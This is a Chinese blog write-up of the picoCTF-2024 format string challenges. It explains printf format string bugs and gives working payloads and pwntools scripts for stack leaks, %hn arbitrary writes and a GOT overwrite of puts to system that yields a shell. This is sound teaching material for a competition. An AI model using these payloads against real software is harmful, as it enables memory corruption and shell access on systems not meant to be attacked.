掘金 后端 ( ) • 2024-06-21 09:50

picoCTF-2024格式化字符串漏洞专题

摘要

格式化字符串(format string)漏洞是CTF中常见的一类二进制漏洞,对于没有掌握其原理的人来说有一定的难度。本文先简要介绍了格式化字符串漏洞,然后借助picoCTF真题来聊一聊该类漏洞的几个常见利用场景。

在picoCTF-2024中,总共有4道题与格式化字符串漏洞相关,分别是第7题第19题第31题第40题,读者可以自己先尝试下。

格式化字符串漏洞

格式化字符串

在C语言中,有一类格式化输出函数,如printf,接受一个格式化字符串和一个可变参数列表。其中,格式字符串中包含普通字符和格式说明符(如%d),后者用于控制可变参数列表中各个参数的输出格式。示例如下:

printf("My name is %s, and I'm %d years old.", name, age);

关于printf函数的详细说明可以参考手册:man 3 printf

漏洞识别

当调用printf函数只传入格式化字符串,而且该格式化字符串来自用户输入或受用户控制时,则存在格式化字符串漏洞。因为攻击者通过控制格式化字符串可以实现有目的的栈读/写、代码重定向等操作。

printf(user_input);

漏洞原理

如下图所示,我们以32位为例来说明漏洞原理,其实64位也是类似的,只是其格式化字符串指针和前5个参数放在了寄存器中。

分析函数调用栈可知,printf在进行格式化输出时,会从格式化字符串指针位置之后的栈内存中读取相应数量的参数填充到对应格式说明符的位置,这在正常情况下是ok的。但是当格式说明符的位置和数量超过入栈参数时(在用户控制格式化字符串的情况下很容易发生),printf将会读取到非预期的内存数据,造成信息泄漏。此外,有一个特殊的格式说明符%n,它将当前已经输出的字符数写入到对应参数所指向的内存地址中,通过它可以改写内存地址中的数据。

image.png

漏洞利用

利用格式化字符串漏洞,攻击者可以实现以下目的:

  • 通过任意个数的格式说明符(如%x)或指定参数位置(%10$x),读取栈中指定位置的数据
  • 通过精确控制打印字符个数(如%23c),借助格式说明符%n,将特定数据写入到栈中位置所指定的内存地址
  • 利用%n重写全局偏移表(GOT),将某个外部函数重定向到另一个函数,实现恶意代码执行

在CTF中该类题目一般会给出远程服务地址、源代码和二进制,漏洞利用的要点是通过分析源码、执行二进制等措施,确定目标参数的偏移位置(offset)、要写入的内存地址及要写的数据,并据此构造攻击载荷(Payload),进而实施对远程服务地址的攻击。具体的漏洞利用方法和步骤将在下文分享真题时介绍。

真题实战

第7题:format string 0

这道题比较简单,属于入门级。

1、阅读源码发现在serve_patrick函数和serve_bob函数中都存在格式化字符串漏洞

// void serve_patrick()
scanf("%s", choice1);
printf(choice1);

// void serve_bob()
scanf("%s", choice2);
printf(choice2);

2、分析源码可知,利用格式化字符串漏洞造成SIGSEGV错误,即可获取flag

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

signal(SIGSEGV, sigsegv_handler);

3、在两次输入中,仅当choice2输入Cla%sic_Che%s%steak选项时才可造成SIGSEGV错误。而要进入serve_bob函数,choice1只能输入Gr%114d_Cheese选项。

└─$ cat flag.txt 
picoCTF{example_flag}

└─$ ./format-string-0
......
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
......
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak

picoCTF{example_flag}

第19题:format string 1

这道题开始上升难度。

1、阅读源码发现存在格式化字符串漏洞,利用该漏洞读取flag字符数组即可获取flag

char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];

scanf("%1024s", buf);
printf(buf);

2、通过分析调用栈结构或实测可知,flag[64]在格式化字符串指针后的偏移位置为14,总共8行

方法一:分析法

  1. 对于64位程序,函数的前6个参数存放在寄存器中
  2. flag[64]相对于栈顶的距离为64/8=8行
  3. 计算flag[64]的偏移位置为6+8=14
└─$ file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped

方法二:实测法

  1. 将secret-menu-item-2.txt内容置为“AAAAAAAA”
  2. 运行二进制,输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
  3. “AAAAAAAA”对应的十六进制为0x4141414141414141,故secret2[64]的偏移位置为6,共8行
  4. 计算flag[64]的偏移位置为6+8=14
└─$ cat secret-menu-item-2.txt 
AAAAAAAA
└─$ ./format-string-1
Give me your order and I'll read it back to you:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's your order: 0x40007ffd20.(nil).(nil).0xa.0x400.0x4141414141414141.0xa.(nil).0x4000833ab0.(nil)
Bye!

3、为了将flag[64]的8行内容都打印出来,构造Payload如下

Payload: %14$lx.%15$lx.%16$lx.%17$lx.%18$lx.%19$lx.%20$lx.%21$lx

4、运行二进制,输入payload,得到十六进制格式的数据

└─$ cat flag.txt 
picoCTF{example_flag}

└─$ ./format-string-1
Give me your order and I'll read it back to you:
%14$lx.%15$lx.%16$lx.%17$lx.%18$lx.%19$lx.%20$lx.%21$lx
Here's your order: 7b4654436f636970.79795f7878787878.7a7a7a7a5f797979.a7d7a.0.4000829817.4000834648.ffffffff
Bye!

5、将十六进制格式的数据转换为字符串即可得到flag

>>> from pwn import *
>>> p1=p64(0x7b4654436f636970)
>>> p2=p64(0x5f656c706d617865)
>>> p3=p64(0xa7d67616c66)
>>> flag=p1+p2+p3
>>> flag
b'picoCTF{example_flag}\n\x00\x00'

第31题:format string 2

这道题的难度又上了一个台阶。

1、分析源码,发现存在格式化字符串漏洞,利用该漏洞改写全局变量sus的值为0x67616c66即可获得flag

printf(buf);
......
if (sus == 0x67616c66) {
//读取并输出flag
}

2、使用readelf工具或objdump工具从二进制中获得全局变量sus的地址为0x0000000000404060

//使用readelf工具:
└─$ readelf -s vuln | grep sus
    28: 0000000000404060     4 OBJECT  GLOBAL DEFAULT   25 sus

//使用objdump工具:
└─$ objdump -t vuln | grep sus
0000000000404060 g     O .data    0000000000000004              sus

3、为了利用格式化字符串漏洞,需要先获取buf[1024]在格式化字符串指针后的的偏移位置。运行二进制,输入“AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”,从输出中找到“AAAAAAAA”,计算其偏移位置为14。再次运行二进制,输入“AAAAAAAA.%14$p”亦可验证。

└─$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's your input: AAAAAAAA.0x40007ffdd0.(nil).(nil).0xa.0x400.0x40008017b0.0x4000833ab0.0x40008000b0.0x400080afc8.0x1.0x40008000e0.(nil).0x4000801ca8.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70
sus = 0x21737573
You can do better!

└─$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA.%14$p
Here's your input: AAAAAAAA.0x4141414141414141
sus = 0x21737573
You can do better!

这里是通过实测法获取偏移位置,实际上,也可以通过分析法计算得到,读者可以自行尝试。

4、构造Payload

由于要写入到目标地址(0x0000000000404060)的数字(0x67616c66)太大,无法通过%n一次性写入,故将其进行拆分:

  • 方法一:分两次写入,每次写入2个字节(%hn),对应关系为
    • 0x0000000000404060:0x6c66
    • 0x0000000000404062:0x6761
  • 方法二:分四次写入,每次写入1个字节(%hhn),对应关系为
    • 0x0000000000404060:0x66
    • 0x0000000000404061:0x6c
    • 0x0000000000404062:0x61
    • 0x0000000000404063:0x67

以上两种方法构造的Payload分别为:

Payload1:
%26465c%18$hn%1285c%19$hn\x00\x00\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00

Payload2:
%103c%20$hhn%250c%21$hhn%11c%22$hhn%250c%23$hhn\x00\x63\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00

在两个Payload中,格式化字符串与地址参数之间都填充了若干个\x00字符,这样做是为了凑整对齐,确保地址参数相对于buf起始地址的偏移字节数为8的整数,以便与%n系列说明符对应起来。以Payload1为例,在填充7个\x00后,第一个地址参数的该偏移量为32个字节,合32/8=4个位置参数,故它在格式化字符串指针后的的偏移位置为14+4=18,依此类推,第二个地址参数的偏移位置为19。

需要指出的是,如果目标地址中不包含\x00字符,我们完全可以将目标地址放在格式化字符串的最前面,这样就不用通过填充\x00字符来对齐了。

5、完整的Python代码示例:exploit.py

from pwn import *

# 用上述Payload代替
payload = b'%26465c%18$hn%1285c%19$hn\x00\x00\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00'

# 本地调试
r = process('./vuln')
# 远程目标
#r = remote('addr', 'port')

# 接收提示
r.recvuntil(b'?\n')
# 发送Payload
r.sendline(payload)

# 忽略printf输出
r.recvline()
# 接收并输出答案
print(r.recvall().decode())

6、运行上述Python脚本,即可获得flag

└─$ cat flag.txt 
picoCTF{example_flag}

└─$ python3 exploit.py
[+] Starting local process './vuln': pid 53381
[+] Receiving all data: Done (78B)
[*] Process './vuln' stopped with exit code 0 (pid 53381)
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{example_flag}

第40题:format string 3

这道题难度较高,但是解题思路与第31题类似,这里重点说说它的不同之处。

1、查看源码可知,main函数调用puts函数时传入了"/bin/sh"参数,只要利用格式化字符串漏洞将全局偏移表(GOT)中的puts函数重定向到system函数,就可获取/bin/sh,进而有可能拿到flag。

#include <stdio.h>
#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

int main() {
    ......
    fgets(buf, 1024, stdin);
    printf(buf);

    puts(normal_string);

    return 0;
}

2、执行二进制可得到setvbuf函数的地址为0x40008b23f0,用objdump查看setvbuf和system函数在libc.so的地址分别为0x7a3f0和0x4f760,据此可推算出system函数的地址为0x4000887760

#使用objdump查看setvbuf和system函数在libc.so中的地址:
└─$ objdump -T libc.so.6 | grep -E "setvbuf|system"
000000000004f760 g    DF .text    000000000000002d  GLIBC_PRIVATE __libc_system
000000000007a3f0 g    DF .text    0000000000000260  GLIBC_2.2.5 _IO_setvbuf
000000000007a3f0  w   DF .text    0000000000000260  GLIBC_2.2.5 setvbuf
000000000004f760  w   DF .text    000000000000002d  GLIBC_2.2.5 system
000000000014e1c0 g    DF .text    0000000000000068 (GLIBC_2.2.5) svcerr_systemerr

#执行二进制可得到setvbuf函数的地址:
└─$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x40008b23f0

#推算system函数的地址:
>>> hex(0x40008b23f0+0x4f760-0x7a3f0)
'0x4000887760'

3、用objdump查看puts函数在二进制GOT中的地址为0x404018,要实现puts函数重定向到system函数,就是要将0x4000887760写入到目的地址0x404018中。

#使用objdump查看puts函数在二进制GOT中的地址
└─$ objdump -R format-string-3 | grep puts
0000000000404018 UNKNOWN           puts@GLIBC_2.2.5

4、获取偏移位置和构造Payload的方法与第31题相同,这里不再细说,读者可自行完成。直接给出得到的Payload如下(这里填充字符使用了'a')。

%136c%42$hn%30424c%43$hn\x00aaaaaaa\x1a\x40\x40\x00\x00\x00\x00\x00\x18\x40\x40\x00\x00\x00\x00\x00

5、Python代码如下,执行代码即可获得/bin/sh,进而拿到flag.txt文件。

from pwn import *

r = process('./format-string-3')

payload = b'%136c%42$hn%30424c%43$hn\x00aaaaaaa\x1a\x40\x40\x00\x00\x00\x00\x00\x18\x40\x40\x00\x00\x00\x00\x00'

print(payload)
r.sendline(payload)
r.interactive()

6、跟着笔者的思路一步一步实操到这里的读者会发现,上述Payload对远程服务地址无效,获取/bin/sh失败。原因是远程服务地址上运行的进程其libc函数的地址与本地有差异,而且每次运行都不相同,故无法直接使用上述静态的Payload。但是可以按照上述思路,编写更通用的Python脚本,自动化生成Payload,完成本地和远程的求解。考虑到文章篇幅,具体代码我放在GitHub上了。

总结

格式化字符串(format string)漏洞是CTF中常见的一类二进制漏洞,本文首先介绍了格式化字符串漏洞的识别、原理和利用,然后通过picoCTF真题分享了该类漏洞的几个常见利用场景,详细介绍了其利用方法和步骤。